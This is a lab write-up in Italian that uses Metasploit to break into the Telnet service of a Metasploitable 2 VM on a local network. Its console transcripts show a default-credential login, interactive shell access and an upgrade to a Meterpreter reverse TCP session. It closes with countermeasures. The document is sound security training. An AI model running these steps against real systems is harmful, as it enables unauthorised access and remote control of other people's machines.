

Exploit Telnet con Metasploit

Metasploitable 2 | Kali Linux | Metasploit Framework

1. Obiettivo

In questo laboratorio ho analizzato il servizio Telnet attivo sulla macchina Metasploitable 2 utilizzando i moduli auxiliary di Metasploit Framework. Ho prima rilevato il banner del servizio tramite auxiliary/scanner/telnet/telnet_version, poi ho ottenuto accesso autenticato sfruttando le credenziali predefinite con auxiliary/scanner/telnet/telnet_login. Come fase avanzata, ho eseguito l'upgrade della sessione shell a una sessione Meterpreter per dimostrare le capacità di post-exploitation.

2. Configurazione Ambiente

Parametro	Valore
Rete	192.168.56.0/24
Attaccante	Kali Linux - 192.168.56.104
Target	Metasploitable 2 - 192.168.56.149
Hypervisor	VirtualBox su Windows 11 Pro
Tool principale	Metasploit Framework v6.4
Credenziali	msfadmin / msfadmin (default Metasploitable 2)
Servizi target	Telnet/23, FTP/21, SSH/22

3. Fasi dell'Attacco

3.1 Scansione del servizio Telnet con telnet_version

Ho caricato il modulo auxiliary/scanner/telnet/telnet_version e impostato RHOSTS con l'indirizzo IP del target. Il modulo si connette alla porta 23 e recupera il banner del servizio, rivelando informazioni critiche direttamente nel testo: le credenziali di default msfadmin/msfadmin erano esposte in chiaro nel messaggio di benvenuto.

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.56.149
RHOSTS => 192.168.56.149
msf auxiliary(scanner/telnet/telnet_version) > exploit
[+] 192.168.56.149:23 - 192.168.56.149:23 TELNET
Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
metasploitable login:
[*] 192.168.56.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Figura 1: Banner Telnet con credenziali default esposte in chiaro

3.2 Autenticazione con credenziali default via telnet_login

Ho caricato il modulo auxiliary/scanner/telnet/telnet_login e configurato i parametri USERNAME, PASSWORD e STOP_ON_SUCCESS true. Quest'ultima opzione interrompe la scansione non appena viene trovata una credenziale valida, evitando tentativi inutili. Il login con msfadmin:msfadmin ha avuto successo e il modulo ha aperto

automaticamente una command shell session.

```
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.56.149
RHOSTS => 192.168.56.149
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > exploit
[!] 192.168.56.149:23 - No active DB -- Credential data will not be saved!
[+] 192.168.56.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.56.149:23 - Attempting to start session...
[*] Command shell session 1 opened
    (192.168.56.104:38955 -> 192.168.56.149:23)
[*] Auxiliary module execution completed
```

3.3 Gestione delle sessioni attive

Ho verificato le sessioni attive con `sessions -l` e ho interagito con la sessione shell tramite `sessions -i 1`. Il prompt è cambiato in `msfadmin@metasploitable:~$`, confermando l'accesso interattivo alla macchina target come utente `msfadmin`.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l
Active sessions
=====
  Id  Type      Information                                     Connection
  --  -
  1   shell TELNET msfadmin:msfadmin (192.168.56.149) 192.168.56.104:38955 -> 192.168.56.149:23
msf > sessions -i 1
[*] Starting interaction with 1...
Shell Banner:
msfadmin@metasploitable:~$
```

3.4 Upgrade della sessione shell a Meterpreter

Ho messo in background la sessione shell con `Ctrl+Z` e confermato con `y`. Ho poi caricato il modulo `post/multi/manage/shell_to_meterpreter` per eseguire l'upgrade: il modulo inietta uno stage Meterpreter nella sessione shell esistente, aprendo una connessione reverse TCP separata. Il risultato è una sessione Meterpreter completa con tutte le funzionalità di post-exploitation.

```

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.56.104
LHOST => 192.168.56.104
msf post(multi/manage/shell_to_meterpreter) > exploit
[*] Started reverse TCP handler on 192.168.56.104:4433
[*] Sending stage (1062760 bytes) to 192.168.56.149
[*] Meterpreter session 2 opened
    (192.168.56.104:4433 -> 192.168.56.149:59705)
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >

```

4. Flusso Completo dell'Esercitazione

#	Fase	Modulo / Azione	Risultato
1	Scansione Telnet	auxiliary/scanner/telnet/telnet_version	Banner rilevato con credenziali default esposte
2	Login Telnet	auxiliary/scanner/telnet/telnet_login	Login riuscito: shell session 1 aperta
3	Gestione sessioni	sessions -l / sessions -i 1	Accesso interattivo come msfadmin@metasploitable
4	Upgrade Meterpreter	post/multi/manage/shell_to_meterpreter	Meterpreter session 2 aperta (x86/linux)

Le due sessioni attive al termine dell'esercitazione: sessione 1 shell TELNET e sessione 2 Meterpreter x86/linux, entrambe attestate sull'host msfadmin@metasploitable.localdomain.

5. Riepilogo Comandi

Comando	Descrizione
use auxiliary/scanner/telnet/telnet_version	Rileva il banner del servizio Telnet sulla porta 23
set RHOSTS 192.168.56.149	Imposta l'indirizzo IP del target
exploit	Esegue il modulo corrente
use auxiliary/scanner/telnet/telnet_login	Tenta il login Telnet con le credenziali fornite
set USERNAME msfadmin	Imposta il nome utente per il login
set PASSWORD msfadmin	Imposta la password per il login
set STOP_ON_SUCCESS true	Interrompe la scansione al primo login riuscito
sessions -l	Elenca tutte le sessioni attive
sessions -i 1	Interagisce con la sessione numero 1

Ctrl+Z	Mette in background la sessione corrente
use post/multi/manage/shell_to_meterpreter	Esegue l'upgrade di una shell a sessione Meterpreter
set SESSION 1	Associa il modulo post alla sessione shell attiva
set LHOST 192.168.56.104	Imposta l'indirizzo dell'attaccante per la reverse TCP

6. Conclusioni

Ho dimostrato come Telnet, protocollo legacy che trasmette tutti i dati in chiaro senza alcuna cifratura, rappresenti un vettore di attacco critico. L'utilizzo di credenziali predefinite non modificate ha permesso l'accesso immediato alla macchina target senza alcuna necessità di brute-force. Il successivo upgrade a Meterpreter ha dimostrato come una semplice sessione shell possa essere trasformata in una piattaforma di post-exploitation avanzata, con accesso a funzionalità come getuid, sysinfo e moduli post.

Vulnerabilità	Gravità	Contromisura
Credenziali default non cambiate (msfadmin/msfadmin)	Critica	Cambiare tutte le password default al primo avvio
Telnet attivo: protocollo in chiaro	Critica	Disabilitare Telnet, sostituire con SSH
Banner con informazioni sensibili esposte	Alta	Rimuovere o oscurare il banner di login
OS non aggiornato (Ubuntu 8.04 LTS)	Alta	Aggiornare il sistema operativo e i servizi
Nessun rate limiting sui tentativi di login	Media	Implementare fail2ban o meccanismi di logout

DISCLAIMER: Tutte le tecniche descritte sono state applicate esclusivamente in ambiente VirtualBox locale a fini didattici. Nessun sistema esterno è stato coinvolto. L'utilizzo non autorizzato su sistemi reali è illegale ai sensi del Codice Penale italiano (art. 615-ter, 635-bis, 617-quater).